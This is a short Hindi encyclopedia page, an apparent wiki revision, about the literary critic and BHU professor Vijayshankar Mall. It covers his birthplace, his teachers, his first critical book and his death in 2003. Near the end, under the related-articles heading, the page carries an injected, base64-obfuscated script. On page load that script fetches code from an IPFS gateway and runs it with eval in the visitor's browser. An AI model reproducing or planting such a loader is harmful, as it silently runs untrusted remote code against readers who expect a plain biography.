विजयशंकर मल्ल
भारत डिस्कवरी प्रस्तुति
Revision as of 13:00, 22 January 2014 by दिनेश (talk | contribs) (''''विजयशंकर मल्ल''' का जन्म उत्तर प्रदेश में आजमगढ़ ...' के साथ नया पन्ना बनाया)
विजयशंकर मल्ल का जन्म उत्तर प्रदेश में आजमगढ़ के 'लखनौर' नामक ग्राम में हुआ था। ये 'काशी हिन्दू विश्वविद्यालय' के हिन्दी विभाग के प्रोफ़ेसर, काव्य समीक्षक एवं अत्यंत सफल अध्यापक रहे थे।[1]
- आचार्य केशव प्रसाद मिश्र एवं आचार्य नन्द दुलारे वाजपेयी के प्रिय शिष्यों में विजयशंकर मल्ल भी थे।
- विजयशंकर मल्ल ने भारतेन्दु काल के गद्य को "हंसमुख गद्य" की संज्ञा दी थी।
- इन्होंने पहली समीक्षात्मक पुस्तक हिन्दी में 'प्रगतिवाद' नाम से लिखी।
- 31 अगस्त, 2003 को विजयशंकर मल्ल का निधन हुआ।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
- ↑ काशी के साहित्यकार (हिन्दी)। । अभिगमन तिथि: 22 जनवरी, 2014।
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
वर्णमाला क्रमानुसार लेख खोज